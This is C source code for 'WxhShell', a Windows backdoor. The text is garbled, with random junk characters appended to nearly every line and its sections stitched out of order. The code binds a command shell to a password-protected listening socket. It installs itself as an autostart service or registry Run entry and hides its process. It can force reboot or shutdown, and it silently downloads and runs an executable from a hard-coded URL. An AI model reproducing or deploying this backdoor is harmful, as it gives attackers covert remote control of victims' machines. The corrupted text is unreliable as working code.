    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t7DT5SrR  
    if(Boot(SHUTDOWN)) V`"A|Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3+jqf@fO  
    else { 9a9{OJa6M  
    closesocket(wsh); UYb:q  
    ExitThread(0); rfMzHY}%  
    } MY}B)`yx=  
    break; Ey;uaqt  
    } 7l3sd5  
  // 获取shell Dos`lh  
  case 's': { F\;G'dm  
    CmdShell(wsh); HI30-$9  
    closesocket(wsh); Nu'T0LPNq(  
    ExitThread(0); ;HeUD5Nt6F  
    break; 3"hPplE  
  } * 7 o(  
  // 退出 t/aT  
  case 'x': { p9)'nU'\t  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +K%4jIm  
    CloseIt(wsh); e[7n`ka '  
    break; %<8lLRl  
    } 8FThu[  
  // 离开 v5GV"qY  
  case 'q': { 9IC|2w66  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); v9OK <  
    closesocket(wsh); 5}4r'P$m:  
    WSACleanup(); F|XRh6j  
    exit(1); /_P5U E(  
    break; !7lS=D(?  
        } >h7qI-  
  } /K9Tn  
  } LMrb 1lg$  
X)|b_3Z  
  // 提示信息  u m[nz  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +mN]VO*y  
} -P<e-V%<  
  } PSQ5/l?\>  
k/yoRv%  
  return; /t083  
} viT/$7`AI  
>I3#ALF  
// shell模块句柄 {? jr  
int CmdShell(SOCKET sock) O&?i8XsB  
{ O#E]a<N`  
STARTUPINFO si; /K"koV;  
ZeroMemory(&si,sizeof(si)); d[5?P?h')  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /JfRy%31  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G.,dP +i  
PROCESS_INFORMATION ProcessInfo; :.IVf Zw  
char cmdline[]="cmd"; VMUK|pC4 K  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %_!YonRY|X  
  return 0; h$FpH\-  
}  IR,`-  
?j{LE- (  
// 自身启动模式 $)M8@d  
int StartFromService(void) &JM|u ww?1  
{ *;wPAQE  
typedef struct "Fu*F/KW  
{ <$LVAy"RD  
  DWORD ExitStatus; 61q:nWs  
  DWORD PebBaseAddress; g jJ?*N[  
  DWORD AffinityMask; MkG3TODfHB  
  DWORD BasePriority; EC2KK)=n}  
  ULONG UniqueProcessId; s HSZIkB-r  
  ULONG InheritedFromUniqueProcessId; ?A /+DRQ(  
}   PROCESS_BASIC_INFORMATION; wG4=[d  
i*'6"  
PROCNTQSIP NtQueryInformationProcess; V_?5cwZ  
:;S]jNy}j)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $UAmUQg)}_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; e`fN+  
LoQm&3/  
  HANDLE             hProcess; #N?EPV$  
  PROCESS_BASIC_INFORMATION pbi; xZ} 1dq8  
+^ n\?!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j^}p'w Tu{  
  if(NULL == hInst ) return 0; J)iy6{0"  
(5] |Kcp|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jemg#GB8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q"@Y2lhD!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E-_FxBw  
mYf7?I~  
  if (!NtQueryInformationProcess) return 0; '-tiH  
C d)j %  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E=.4(J7K  
  if(!hProcess) return 0; w%&lCu@v  
_Kg:jal  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; j()<.h;'  
+(*S@V$c  
  CloseHandle(hProcess); ;#G)([  
A>8uLO G}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .olDmFQD  
if(hProcess==NULL) return 0; =#||&1U$  
Q<.84 7 )  
HMODULE hMod; b/:&iG;  
char procName[255]; x,a(O@  
unsigned long cbNeeded; h\ema|  
5"=qVmT)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z> jk\[  
y-qbK0=X4  
  CloseHandle(hProcess); 8|uFW7Q  
^T83E}  
if(strstr(procName,"services")) return 1; // 以服务启动 ?r"'JO.w  
K r9 P#Y  
  return 0; // 注册表启动 Mj2o>N2,  
} Ai&-W  
!%<bLD8  
// 主模块 8jW"8~Y#0  
int StartWxhshell(LPSTR lpCmdLine) \*Ro a&<!  
{ g z-X4A"  
  SOCKET wsl; V )CS,w  
BOOL val=TRUE; %y{#fZHc  
  int port=0; =Jd ('r  
  struct sockaddr_in door; 3A'vq2beM  
s*.CJ  
  if(wscfg.ws_autoins) Install(); XS5*=hv:  
G:NI+E"]  
port=atoi(lpCmdLine); 7yGc@kJ?  
m?I$XAE  
if(port<=0) port=wscfg.ws_port; i#o:V/Z .  
u/3[6MIp  
  WSADATA data; iO)FZ%?"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4viP lO  
dGU io?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   AvF:$ kG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'xi[- -  
  door.sin_family = AF_INET; ;Ll/rJ:*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); QZ!;` ?(  
  door.sin_port = htons(port);  :feU  
XLe8]y=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ##~";j  
closesocket(wsl); Fdsaf[3[v  
return 1;  'k[O?}  
} 2JNO@  
&eYnO~$!  
  if(listen(wsl,2) == INVALID_SOCKET) { @C]]VE  
closesocket(wsl); 1oq5|2p  
return 1; tJ>|t hk  
} jU\vg;nr  
  Wxhshell(wsl); ?;Ck]l#5ys  
  WSACleanup(); Gq_rZo(@  
$xRZU9+  
return 0; xxWrSl`fB  
es}j6A1  
} %a- *Ku  
f;1DhAS  
// 以NT服务方式启动 =SJwCT0;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) QJ2V&t"3  
{ j{00iA}  
DWORD   status = 0; /[Oo*}Dc=F  
  DWORD   specificError = 0xfffffff; "iFA&$\  
jiS|ara"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; aChyl;#E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +DMD g.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; DU9A3Z  
  serviceStatus.dwWin32ExitCode     = 0; bqjj6bf'o  
  serviceStatus.dwServiceSpecificExitCode = 0; CG!/Lbd  
  serviceStatus.dwCheckPoint       = 0; Q>qx? g  
  serviceStatus.dwWaitHint       = 0; "/ G^+u  
f>$Ld1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); F/c7^  
  if (hServiceStatusHandle==0) return; l AF/O5b  
!Z +4FwF  
status = GetLastError(); {k.Dy92  
  if (status!=NO_ERROR) >iefEv\  
{ 1T(:bM_t`7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3QlV,)}  
    serviceStatus.dwCheckPoint       = 0; 6*3J3Lc_<  
    serviceStatus.dwWaitHint       = 0; ^+Ho#]  
    serviceStatus.dwWin32ExitCode     = status; W\xM$#)m  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9Yih%d,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ul@ Jg    
    return; TG ,T>'   
  } d4@\5<  
Xq"@Z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; B^'Uh+Y  
  serviceStatus.dwCheckPoint       = 0; x|B$n } B  
  serviceStatus.dwWaitHint       = 0; HF@K$RPK  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tEEeek(!  
} 99Jk<x k  
4 j9  
// 处理NT服务事件,比如:启动、停止 uMW5F-~-+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) b"x[+&%i  
{ q^nSYp#  
switch(fdwControl) 3fC|}<Wzt  
{ 7gIK+1`  
case SERVICE_CONTROL_STOP: C~\/FrO?  
  serviceStatus.dwWin32ExitCode = 0; @R+bR<}]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'M"JF;*r  
  serviceStatus.dwCheckPoint   = 0; E]x)Qr2Ju  
  serviceStatus.dwWaitHint     = 0; hVQ TW[  
  { c-S_{~~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Sb_T _m  
  } nv WTx4oy  
  return; yP:/F|E$  
case SERVICE_CONTROL_PAUSE: 9d ZE#l!Q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; slSQ\;CDA  
  break; Qg]8~^ Q<  
case SERVICE_CONTROL_CONTINUE: nsChNwPX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; W)rE_tw,|  
  break; eM)E3~K:2  
case SERVICE_CONTROL_INTERROGATE: NXhQdf  
  break; cZ$!_30N+  
}; iy&*5U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :/e= J  
} $,+'|_0yM  
A/kRw'6  
// 标准应用程序主函数 w3j51v` 0'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z,~"`9>Ss  
{ IEb"tsel  
K*&?+_v :  
// 获取操作系统版本 F^iv1b  
OsIsNt=GetOsVer(); gemjLuf  
GetModuleFileName(NULL,ExeFile,MAX_PATH); RfPRCIo  
I"*;fdm  
  // 从命令行安装 }@Mx@ S  
  if(strpbrk(lpCmdLine,"iI")) Install();  (`0dO8  
@d5G\1(%  
  // 下载执行文件 z?~W]PWiZ  
if(wscfg.ws_downexe) { i*16k dI.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) lLuAZoH  
  WinExec(wscfg.ws_filenam,SW_HIDE); =6#tJgg8  
} 2Z]<MiAxD  
!oXA^7Th6]  
if(!OsIsNt) { 9T*%CI  
// 如果时win9x,隐藏进程并且设置为注册表启动 Rg*zUfu5%o  
HideProc(); ?H9F"B$a  
StartWxhshell(lpCmdLine); G-FTyIP>'  
} ;0}8vs  
else  *,9.Bx*  
  if(StartFromService()) 2i);2>HLG  
  // 以服务方式启动 phIEz3Fu/  
  StartServiceCtrlDispatcher(DispatchTable); y]OW{5(  
else x~."P*5  
  // 普通方式启动 B7Um G)C  
  StartWxhshell(lpCmdLine); h-VpX6  
z~d\d!u1  
return 0; )r O`K  
} 5BKmp-m  
nU"V@_?\  
*qcL(] Yq  
4_,l[BhsQG  
=========================================== M4a- +T"  
K7&A^$`  
xN t  
tMaJ; 4  
02]9 OnWw  
H~~I6D{8  
" Ty]/F+{  
!=#230Y  
#include <stdio.h> #&\hgsw/T  
#include <string.h> tK&.0)*=  
#include <windows.h> )2X ng_,  
#include <winsock2.h> X-di^%<  
#include <winsvc.h> [woR9azC  
#include <urlmon.h> 0y4z`rzTn  
}z&P^p)R  
#pragma comment (lib, "Ws2_32.lib") 8uME6]m i  
#pragma comment (lib, "urlmon.lib") @URLFMFi  
nbYkr*: "t  
#define MAX_USER   100 // 最大客户端连接数 H3 _7a9  
#define BUF_SOCK   200 // sock buffer *VT@  
#define KEY_BUFF   255 // 输入 buffer }I7/FqrD  
;??wLNdf-  
#define REBOOT     0   // 重启 6l#1E#]|  
#define SHUTDOWN   1   // 关机 fSp(}'m2L  
3mn0  
#define DEF_PORT   5000 // 监听端口 JWG7QH  
pt8X.f,iA  
#define REG_LEN     16   // 注册表键长度 EmNB}\IYU  
#define SVC_LEN     80   // NT服务名长度 +P6#7.p`Z  
R<mLG $  
// 从dll定义API z;x `dOP  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); amf=uysr  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MBCA%3z08  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); mQ#@"9l%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3nBbPP_  
ww"ihUX  
// wxhshell配置信息 lh* m(  
struct WSCFG { GK}?*Lf s  
  int ws_port;         // 监听端口 z) 5n&w S  
  char ws_passstr[REG_LEN]; // 口令 =y7]9SOq  
  int ws_autoins;       // 安装标记, 1=yes 0=no fiTMS:  
  char ws_regname[REG_LEN]; // 注册表键名 fmie,[  
  char ws_svcname[REG_LEN]; // 服务名 jG{} b6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 S>7Zq5*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @M4~,O6-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uAyj##H  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Pi6C1uY6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #;juZ*I  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =!xeki]|9  
O#A1)~  
}; S6H=(l58  
.Gl&K|/{j  
// default Wxhshell configuration q 9qmz[  
struct WSCFG wscfg={DEF_PORT, TMG:fg&E~  
    "xuhuanlingzhe", C5Q|3d  
    1, e%G- +6  
    "Wxhshell", i`r,B`V`08  
    "Wxhshell", M@Q=!!tQ(  
            "WxhShell Service", UA,&0.7  
    "Wrsky Windows CmdShell Service", +nd'Uf   
    "Please Input Your Password: ", lf|e8kU\f  
  1, oO @6c%  
  "http://www.wrsky.com/wxhshell.exe", 'KQ]7  
  "Wxhshell.exe" MvY0?!v  
    }; U=XaI%ZM)  
X5wS6v)#(  
// 消息定义模块 ?9vBn  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /+RNPQO O  
char *msg_ws_prompt="\n\r? for help\n\r#>"; u7j-uVG  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z/fRd6|[  
char *msg_ws_ext="\n\rExit."; @.*[CC;&  
char *msg_ws_end="\n\rQuit."; Nl_!%k:  
char *msg_ws_boot="\n\rReboot..."; J+\F)k>r  
char *msg_ws_poff="\n\rShutdown..."; ,@='.Qs4g  
char *msg_ws_down="\n\rSave to "; ao{>.b  
vyV n5s  
char *msg_ws_err="\n\rErr!"; RYE::[O7  
char *msg_ws_ok="\n\rOK!"; &X+V}  
EyNI]XEj  
char ExeFile[MAX_PATH]; Z;S*fS-_  
int nUser = 0; Z/wh?K3y  
HANDLE handles[MAX_USER]; |!%A1 wp#  
int OsIsNt; p{Pa(Z]G  
W~k!qy `  
SERVICE_STATUS       serviceStatus; NJUYeim;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; dGIu0\J\$  
<zZAVGb4I  
// 函数声明 /N%f78 Z  
int Install(void); o9wg<LP  
int Uninstall(void); 9b]U&A$  
int DownloadFile(char *sURL, SOCKET wsh); $%r|V*5  
int Boot(int flag); 6xL=JSi~  
void HideProc(void); 0y;&L63>T  
int GetOsVer(void); 9,`mH0jP  
int Wxhshell(SOCKET wsl); 2+=|!+f  
void TalkWithClient(void *cs); HC{|D>x.  
int CmdShell(SOCKET sock); />ob*sk/Y  
int StartFromService(void); JF{,;&sj  
int StartWxhshell(LPSTR lpCmdLine); Qb|w\xT^Y  
$:u,6|QsS=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2Fx<QRz  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 18[f_0@ #  
puqLXDjA/  
// 数据结构和表定义 :VN<,1s9p^  
SERVICE_TABLE_ENTRY DispatchTable[] = Od&M^;BQ  
{ WKah$l  
{wscfg.ws_svcname, NTServiceMain}, MCh8Q|Yx4  
{NULL, NULL} 8~HC0o\2  
}; b V9Z[[\  
>.{ ..~"K  
// 自我安装 (X!/tw,.  
int Install(void) p~8~EQFj  
{ 3]N}k|lb%  
  char svExeFile[MAX_PATH]; M8[YW|VkP  
  HKEY key; @O45s\4-*  
  strcpy(svExeFile,ExeFile); hsqUiB tc6  
W$'pUhq\H  
// 如果是win9x系统,修改注册表设为自启动 C9=f=sGL  
if(!OsIsNt) { yN>"r2   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MT6kJDyLu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,o9)ohw  
  RegCloseKey(key); !5B9:p~-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G4x.''r&Sl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pK'WJ 72U  
  RegCloseKey(key); EW5S%Y  
  return 0; b,Z& P|  
    } ='VIbE@qC  
  } +W;B8^imG  
} `n5c|`6  
else { E<\\'VF  
*<Ddn&_  
// 如果是NT以上系统,安装为系统服务 \^#1~Kx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |ni cvg@  
if (schSCManager!=0) WN?T*bz2  
{ fwq|8^S@  
  SC_HANDLE schService = CreateService Ki=7nKs  
  ( ESomw  
  schSCManager, BPG)m,/b  
  wscfg.ws_svcname, 'nT#3/rL  
  wscfg.ws_svcdisp, o[v`Am?v  
  SERVICE_ALL_ACCESS, . \d0lJSr  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |iwTzlt*#  
  SERVICE_AUTO_START, tLvli>y@  
  SERVICE_ERROR_NORMAL, /vPb  
  svExeFile, Iyc')\W&  
  NULL, -:~`g*3#  
  NULL, `PW=_f={  
  NULL, he+[  
  NULL, 9Np0<e3p  
  NULL |wLQ)y*  
  ); ##s !-.T  
  if (schService!=0) 6sZRR{'  
  { xc/|#TC8?  
  CloseServiceHandle(schService); <GNOT"z  
  CloseServiceHandle(schSCManager); pbzbh&Y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^&6NB)6  
  strcat(svExeFile,wscfg.ws_svcname); eAuJ}U[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (C3d<a\:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (D l"s`UH~  
  RegCloseKey(key); 4z*_,@OA  
  return 0; @[FFYVru  
    } UpIf t=@P  
  } u}:O[DG  
  CloseServiceHandle(schSCManager); XBY"7}  
} {30<Vc=  
} CYn}wkz  
c|.:J]  
return 1; O#EBR<CuK  
} ZGbZu  
<+$S{Z.  
// 自我卸载 E1C8yIF  
int Uninstall(void) >WDpBn:  
{ gK<-*v  
  HKEY key; h4qR\LX  
gU~)(|Nu.  
if(!OsIsNt) { 19rUvgC{M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { # _7c>gn  
  RegDeleteValue(key,wscfg.ws_regname); 2"MI8EK  
  RegCloseKey(key); ' " tieew  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M[{Cy[ta  
  RegDeleteValue(key,wscfg.ws_regname);  qN QsU  
  RegCloseKey(key); Kje+Niz7  
  return 0; =B:poh[u  
  } M/DTD98'N  
} ^0&] .m  
} MYPcH\K$h  
else { Sy'>JHx  
w7D:0SGD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6,)y{/ENC  
if (schSCManager!=0) C IDL{i8  
{ 4eEs_R  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); bVx]r[  
  if (schService!=0) IYO,/ kbf  
  { V[mQ;:=  
  if(DeleteService(schService)!=0) { etoE$2c  
  CloseServiceHandle(schService); %PS-nF7v  
  CloseServiceHandle(schSCManager); A;!FtD/  
  return 0; )2$_:Ek  
  } )q^vitkjup  
  CloseServiceHandle(schService); ^pjez+  
  } 2o$8CR;  
  CloseServiceHandle(schSCManager); %:,=J  
} gQEV;hCO  
} Ueeay^zN  
J50 ~B3bj`  
return 1; %_[-[t3  
} 9y5 \4&v  
]x G8vy  
// 从指定url下载文件 yq}{6IyZ^  
int DownloadFile(char *sURL, SOCKET wsh) DPwSg\*)  
{ #'8PFw\zw  
  HRESULT hr; SIl g  
char seps[]= "/"; 7&3URglsL"  
char *token; nX~MoWH1  
char *file; -!0LIr:"  
char myURL[MAX_PATH]; W.|6$hRl)  
char myFILE[MAX_PATH]; LasH[:QQQ  
r$F]e]Ic\  
strcpy(myURL,sURL); ;SW-dfo2i  
  token=strtok(myURL,seps); pt R  
  while(token!=NULL) ;Kf|a}m-  
  { %RN-J*s]  
    file=token; c-.>C)  
  token=strtok(NULL,seps); #H[ 4?4r  
  } _PM<25Y,@  
nnG2z@$-  
GetCurrentDirectory(MAX_PATH,myFILE); a~* V  
strcat(myFILE, "\\"); hwzUCh 5!  
strcat(myFILE, file); g#4gGhI  
  send(wsh,myFILE,strlen(myFILE),0); +V@=G &Ou0  
send(wsh,"...",3,0); $3TTHS o  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); i .N1Cvp&  
  if(hr==S_OK) !_9$[Oq~  
return 0; h)rf6*hw  
else i6d$/ yP"  
return 1; UTQKlwPa  
HD{`w1vcN  
} k&/ )g3(N(  
IDh`0/i]  
// 系统电源模块 qN[7zsaj  
int Boot(int flag) N%f!B"NQ  
{  nvPE N  
  HANDLE hToken; D-GU"^-9  
  TOKEN_PRIVILEGES tkp; H/k W :k  
n@;x!c< +  
  if(OsIsNt) { $3'+V_CZ3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); L"iyjL<M  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C._sgO  
    tkp.PrivilegeCount = 1; ak) -OL1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; X~he36-+<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); XO#)i6}G  
if(flag==REBOOT) { 9|?Lz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0Qp'}_  
  return 0; ,)$KS*f"*z  
} N1~V +_mM  
else { 5|CiwQg|,p  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3\n{,Q  
  return 0; 1fFb 7n~3  
} S;Z3v)E-f  
  } &fW=5'  
  else { yCIgxPv|7  
if(flag==REBOOT) { <j\;>3Q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .4<U*Xkt  
  return 0; *Qx|5L!_  
} 9ET+k(wI@  
else { -FN6sNvIh  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [ 5W#1 &  
  return 0; 7f%Qc %B  
} NNw d;AC  
}  - 1  
L"h@`3o|  
return 1; I#X2 UQzP  
} U%DF!~n  
Bh,)5E^m  
// win9x进程隐藏模块 IZ0$=aB7  
void HideProc(void) En9]x"_  
{ \TB%N1^  
AC:s4iacC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); RzRvu]]8  
  if ( hKernel != NULL ) p=+*g.,O  
  { O^Vy"8Ji}y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M`P]cX)x  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); OawrS{  
    FreeLibrary(hKernel); (}X?v`Y^W  
  } N>fYH.c3Y  
r!$NZ2I  
return; mBZ Dl4 '  
} cNo4UZvr  
C cr+SR2  
// 获取操作系统版本 oPu|Q^I=  
int GetOsVer(void) 5o| !f  
{ wUCDJY:,1  
  OSVERSIONINFO winfo; :"P hkR  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]KK ZbEO  
  GetVersionEx(&winfo); 4A/,X>W61  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %HF$  
  return 1; NhoS7 y(  
  else fuD1U}c  
  return 0; 3y=<w|4F  
} y8hg8J|  
.x!7  
// 客户端句柄模块 StZRc\k  
int Wxhshell(SOCKET wsl) >3`ctbe  
{ nqxq@.L2  
  SOCKET wsh; BgWz<k}5M  
  struct sockaddr_in client; e#6&uFce  
  DWORD myID; sIRrEea  
$',GkK{NX  
  while(nUser<MAX_USER) X c2B2c  
{ R;E"Qdt  
  int nSize=sizeof(client); g<iwxF  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 03QEXm~|Q  
  if(wsh==INVALID_SOCKET) return 1; #1't"R+3M  
cCh5Jl@Z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); an=+6lIl  
if(handles[nUser]==0) 7#9'2dI  
  closesocket(wsh); 380->  
else # 5f|1O  
  nUser++; sL7`=a.&T  
  } BY4  R@)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5'kTe=  
 6I cM:x  
  return 0; A-7wkZ.H  
} *%N7QyO`I  
o;VkoYV  
// 关闭 socket /s8%02S  
void CloseIt(SOCKET wsh) +/3 Z  
{ Kcw1uLb  
closesocket(wsh); 9O=05CQ  
nUser--; o ?va#/fk  
ExitThread(0); CS;W)F  
} 4ljvoJ}xjr  
]\a\6&R  
// 客户端请求句柄 \buZ?  
void TalkWithClient(void *cs) }&(E#*>x  
{ h#@4@x{  
:%uyy5AZ  
  SOCKET wsh=(SOCKET)cs; 64!ame}n+  
  char pwd[SVC_LEN]; W\>^[c/  
  char cmd[KEY_BUFF]; HhWwc#B  
char chr[1];  bL'#  
int i,j; 4VmCW"b7h  
)"_Ff,9Z!  
  while (nUser < MAX_USER) { 5S\][;u  
wI@zPVY_i  
if(wscfg.ws_passstr) { w(V? N'[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D0#T-B\#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2%5^Fi  
  //ZeroMemory(pwd,KEY_BUFF); ?79SPp)oo  
      i=0; !qTpQ5Dm  
  while(i<SVC_LEN) { n~,]KdU]  
v#:+n+y\z  
  // 设置超时 *CH!<VB/  
  fd_set FdRead; 5y(t`Fmt  
  struct timeval TimeOut; d(X\B{  
  FD_ZERO(&FdRead); [>$\s=` h  
  FD_SET(wsh,&FdRead); . QQ?w  
  TimeOut.tv_sec=8; zL)1^[%O9  
  TimeOut.tv_usec=0; -t%{"y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Iuu<2#gb8"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4T==A#Z  
uG=t?C6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sd]54&3A  
  pwd=chr[0]; 3 ^02fy  
  if(chr[0]==0xd || chr[0]==0xa) { FI?gT  
  pwd=0; %Ye)8+-  
  break; n&0mz1rw  
  } T .Pklty  
  i++; L9{mYA]q  
    } `q f\3JT\  
p|h.@do4   
  // 如果是非法用户,关闭 socket GhG%>U#&a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Sl. KLc@@  
} Vq3]7l  
60hNCVq%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P\q<d  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R<n8M"B  
L,C? gd@"  
while(1) { $@[dm)M  
J ?ztn  
  ZeroMemory(cmd,KEY_BUFF); }t@f |TX  
m4P hn~>Gg  
      // 自动支持客户端 telnet标准   n0+g]|a AF  
  j=0; g[#k.CuP  
  while(j<KEY_BUFF) { 'DCKD4@C/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }b_R5U$@@  
  cmd[j]=chr[0]; c!\.[2n  
  if(chr[0]==0xa || chr[0]==0xd) { jw/'*e  
  cmd[j]=0; <=;H[} e  
  break; 935-{h@k  
  } MB ]#%g&  
  j++; ~/j$TT"  
    } 4 ss&'h  
XGE 2J  
  // 下载文件 xb4Pt`x)rS  
  if(strstr(cmd,"http://")) { ]> nPqL  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |MTpU@`p5  
  if(DownloadFile(cmd,wsh)) ruZYehu1W  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =7 Jy  
  else pT("2:)x  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V*6l6-y~Ih  
  } ]$m#1Kj  
